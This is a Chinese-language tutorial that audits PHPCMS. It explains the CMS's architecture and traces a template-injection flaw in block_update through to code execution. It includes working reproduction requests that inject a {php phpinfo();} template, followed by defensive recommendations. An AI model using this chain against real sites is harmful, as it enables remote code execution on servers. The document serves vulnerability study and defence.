代码审计实战思路之浅析PHPCMS
字数 1656 2025-08-18 11:38:08

PHPCMS代码审计实战教学文档

一、系统架构分析

1. 入口文件分析

  • 入口文件:index.php
  • 核心流程:
    define('PHPCMS_PATH', dirname(__FILE__).DIRECTORY_SEPARATOR);
    include PHPCMS_PATH.'/phpcms/base.php';
    pc_base::creat_app();
    

2. 核心文件结构

  • 核心类库:phpcms/libs/classes/
  • 模型类库:phpcms/model/
  • 应用目录:phpcms/modules/
  • 配置目录:caches/configs/

3. 核心加载机制

PHPCMS使用pc_base类作为核心加载器,提供以下关键方法:

  1. load_sys_class()

    • 路径:phpcms/libs/classes/
    • 示例:pc_base::load_sys_class('application')
  2. load_app_class()

    • 路径:phpcms/modules/模块名/classes/
    • 示例:pc_base::load_app_class('block_tag', 'block')
  3. load_model()

    • 路径:phpcms/model/
    • 示例:pc_base::load_model('content_model')
  4. load_config()

    • 路径:caches/configs/
    • 示例:pc_base::load_config('system', 'errorlog')

4. 路由机制

  • 路由参数:m(模块)、c(控制器)、a(方法)
  • 默认路由配置(caches/configs/route.php):
    return array(
      'default'=>array('m'=>'content', 'c'=>'index', 'a'=>'init'),
    );
    

二、安全机制分析

1. 输入过滤

  • 全局变量过滤:new_addslashes()函数对所有外部输入($_GET, $_POST, $_REQUEST, $_COOKIE)进行转义
  • 例外:$_SERVER变量未被过滤

2. 方法访问控制

  • 方法名以下划线开头为私有方法,禁止外部访问:
    if (preg_match('/^[_]/i', ROUTE_A)) {
      exit('You are visiting the action is to protect the private action');
    }
    

3. 路径安全

  • 路由参数安全处理:
    private function safe_deal($str) {
      return str_replace(array('/', '.'), '', $str);
    }
    

三、漏洞分析(block_update模板注入)

1. 漏洞位置

  • 文件:phpcms/modules/block/block_admin.php
  • 方法:block_update()

2. 漏洞触发流程

  1. 权限检查:

    $id = isset($_GET['id']) && intval($_GET['id']) ? intval($_GET['id']) : showmessage(L('illegal_operation'), HTTP_REFERER);
    if ($this->roleid != 1) {
      if (!$this->priv_db->get_one(array('blockid'=>$id, 'roleid'=>$this->roleid, 'siteid'=>$this->siteid))) {
        showmessage(L('not_have_permissions'));
      }
    }
    
  2. 模板处理:

    $template = isset($_POST['template']) && trim($_POST['template']) ? trim($_POST['template']) : '';
    $block = pc_base::load_app_class('block_tag');
    $block->template_url($id, $template);
    
  3. 模板解析与写入:

    // phpcms/modules/block/classes/block_tag.class.php
    public function template_url($id, $template) {
      $filepath = CACHE_PATH.'caches_template'.DIRECTORY_SEPARATOR.'block'.DIRECTORY_SEPARATOR.$id.'.php';
      $tpl = pc_base::load_sys_class('template_cache');
      $str = $tpl->template_parse(new_stripslashes($template));
      @file_put_contents($filepath, $str);
    }
    
  4. 模板解析逻辑:

    // phpcms/libs/classes/template_cache.class.php
    public function template_parse($str) {
      // 各种模板标签替换...
      $str = "<?php defined('IN_PHPCMS') or exit('No permission resources.'); ?>" . $str;
      return $str;
    }
    

3. 漏洞利用链

  1. 通过block_admin.phpblock_update方法写入恶意模板
  2. 通过block_tag类的pc_tag方法包含模板文件:
    public function pc_tag($data) {
      // ...
      include $this->template_url($id);
      // ...
    }
    
  3. 最终通过link模块的register方法触发模板解析:
    public function register() {
      include template('link', 'register');
    }
    

4. 漏洞复现步骤

  1. 添加block记录获取ID:

    POST /phpcms/index.php?m=block&c=block_admin&a=add&pos=1&pc_hash=gh43rD
    dosubmit=&name=bb&type=2
    
  2. 注入恶意模板:

    POST /phpcms/index.php?m=block&c=block_admin&a=block_update&id=4&pc_hash=gh43rD
    dosubmit=&name=bb&type=2&url=&thumb=&desc=&template={php phpinfo();}
    
  3. 触发漏洞:
    访问/phpcms/index.php?m=link&c=index&a=register

四、审计方法论

1. 审计方案

  1. 核心类库审计优先

    • 优点:发现漏洞影响面广
    • 缺点:工作量大
  2. 功能点直接审计

    • 优点:针对性强
    • 缺点:需要频繁跟踪调用链
  3. 黑盒+白盒结合

    • 先用BurpSuite等工具测试可疑功能点
    • 再针对性地分析代码

2. 关键审计点

  1. 文件操作函数

    • file_put_contents()
    • include/require
  2. 动态代码执行

    • eval()
    • create_function()
    • call_user_func()
  3. 数据库操作

    • SQL拼接处
    • 参数化查询使用情况
  4. 模板解析

    • 模板引擎实现方式
    • 用户输入是否直接进入模板

五、防御建议

  1. 输入验证

    • template参数进行严格过滤
    • 禁止PHP代码直接写入模板
  2. 权限控制

    • 加强模板修改操作的权限验证
    • 实现操作日志记录
  3. 安全配置

    • 限制缓存目录的web访问权限
    • 设置open_basedir限制
  4. 代码层面

    • 使用安全的模板引擎
    • 实现模板签名验证机制

六、总结

本漏洞的核心问题在于:

  1. 用户输入未经充分过滤直接进入模板解析
  2. 模板解析结果被写入可访问的缓存文件
  3. 存在包含点可触发恶意模板执行

通过此案例可以学习到PHPCMS的核心架构和安全机制,以及如何通过系统化的代码审计方法发现此类安全问题。

PHPCMS代码审计实战教学文档 一、系统架构分析 1. 入口文件分析 入口文件: index.php 核心流程: 2. 核心文件结构 核心类库: phpcms/libs/classes/ 模型类库: phpcms/model/ 应用目录: phpcms/modules/ 配置目录: caches/configs/ 3. 核心加载机制 PHPCMS使用 pc_base 类作为核心加载器,提供以下关键方法: load_ sys_ class() 路径: phpcms/libs/classes/ 示例: pc_base::load_sys_class('application') load_ app_ class() 路径: phpcms/modules/模块名/classes/ 示例: pc_base::load_app_class('block_tag', 'block') load_ model() 路径: phpcms/model/ 示例: pc_base::load_model('content_model') load_ config() 路径: caches/configs/ 示例: pc_base::load_config('system', 'errorlog') 4. 路由机制 路由参数: m (模块)、 c (控制器)、 a (方法) 默认路由配置( caches/configs/route.php ): 二、安全机制分析 1. 输入过滤 全局变量过滤: new_addslashes() 函数对所有外部输入( $_GET , $_POST , $_REQUEST , $_COOKIE )进行转义 例外: $_SERVER 变量未被过滤 2. 方法访问控制 方法名以下划线开头为私有方法,禁止外部访问: 3. 路径安全 路由参数安全处理: 三、漏洞分析(block_ update模板注入) 1. 漏洞位置 文件: phpcms/modules/block/block_admin.php 方法: block_update() 2. 漏洞触发流程 权限检查: 模板处理: 模板解析与写入: 模板解析逻辑: 3. 漏洞利用链 通过 block_admin.php 的 block_update 方法写入恶意模板 通过 block_tag 类的 pc_tag 方法包含模板文件: 最终通过 link 模块的 register 方法触发模板解析: 4. 漏洞复现步骤 添加block记录获取ID: 注入恶意模板: 触发漏洞: 访问 /phpcms/index.php?m=link&c=index&a=register 四、审计方法论 1. 审计方案 核心类库审计优先 优点:发现漏洞影响面广 缺点:工作量大 功能点直接审计 优点:针对性强 缺点:需要频繁跟踪调用链 黑盒+白盒结合 先用BurpSuite等工具测试可疑功能点 再针对性地分析代码 2. 关键审计点 文件操作函数 file_put_contents() include/require 动态代码执行 eval() create_function() call_user_func() 数据库操作 SQL拼接处 参数化查询使用情况 模板解析 模板引擎实现方式 用户输入是否直接进入模板 五、防御建议 输入验证 对 template 参数进行严格过滤 禁止PHP代码直接写入模板 权限控制 加强模板修改操作的权限验证 实现操作日志记录 安全配置 限制缓存目录的web访问权限 设置 open_basedir 限制 代码层面 使用安全的模板引擎 实现模板签名验证机制 六、总结 本漏洞的核心问题在于: 用户输入未经充分过滤直接进入模板解析 模板解析结果被写入可访问的缓存文件 存在包含点可触发恶意模板执行 通过此案例可以学习到PHPCMS的核心架构和安全机制,以及如何通过系统化的代码审计方法发现此类安全问题。